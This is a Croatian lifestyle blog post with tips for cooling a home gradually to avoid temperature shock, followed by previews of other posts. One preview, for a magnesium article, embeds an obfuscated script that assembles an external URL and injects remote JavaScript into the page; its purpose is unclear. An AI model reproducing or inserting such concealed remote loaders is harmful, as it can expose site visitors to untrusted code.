KAKO RASHLADITI DOM BEZ TEMPERATURNOG ŠOKA PRI ULASKU IZ VANJSKIH VRUĆINA?




Kako rashladiti dom bez temperaturnog šoka pri ulasku iz vanjskih vrućina?




Ljeto je godišnje doba kojem se veselimo cijele godine, ipak, visoke temperature sa sobom donose problem koji je većini nas zajednički. Nakon vremena provedenog vani, ulazak u rashlađeni prostor često nije osvježenje kojem smo se nadali. Često je to zapravo neugodni temperaturni šok jer se vanjska i unutarnja temperatura previše razlikuju. To sa sobom nosi niz problema koji su nam svima dobro poznati – od nelagode do glavobolje, umora pa čak i osjećaja ukočenosti.





Idealna temperatura nije ona najniža

Kao što smo spomenuli gore, jedna od najčešćih pogrešaka tijekom ljetnih mjeseci jest postavljanje klima uređaja na vrlo niske temperature. Što bi se reklo, nafrljimo ju do daske. Mnogi idu toliko daleko da ju namještaju na 18 ili 20 stupnjeva Celzijevih uvjereni da će se tako najbrže rashladiti. Zbog toga se možete osjećati fizički loše jer je razlika između te i vanjske temperature, ekstremna. Stručnjaci preporučuju da ona ne bude veća od 6 do 8 stupnjeva.



Rashlađujte prostor postupno

Za ovo je potrebno razmišljati unaprijed. Mnogi klima uređaji danas imaju tajmere koje možete namjestiti prije izlaska iz kuće. Naprosto odaberite da se klima upali prije nego što se vratite kući i namjestite ju na ugodnu temperaturu. Tako će se prostor postepeno hladiti i kada dođete unutra će biti ugodno, ali ne i šokantno hladno. Naime, kada zidovi, namještaj i podovi akumuliraju toplinu, potrebno je znatno više energije kako bi se prostor ponovno rashladio. Ovako kada klima hladi postepeno u mjereno neko vrijeme, prostor bude puno ugodniji.



Zamračite prostoriju

Ono što smo naučile od svojih baka, koje nisu imale klime, jest da se prostor zračio jako rano ujutro i kasno navečer. Tijekom dana sve je bilo zamračeno. Ovo je možda najveća lekcija. Ako vam sunce tuče direktno u prostor, nema šanse da unutra neće biti vruće i sparno. Prije nego što odete iz kuće sve dobro zamračite i vjerujte nam, puno ćete postići.



Pazite na kvalitetu zraka

Ugodna temperatura samo je jedan dio formule za ljetni komfor. Jednako važna je i kvaliteta zraka koji udišemo. Tijekom ljeta prozori su često zatvoreni, a klima uređaji rade satima, zbog čega filtracija zraka postaje važnija nego inače.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više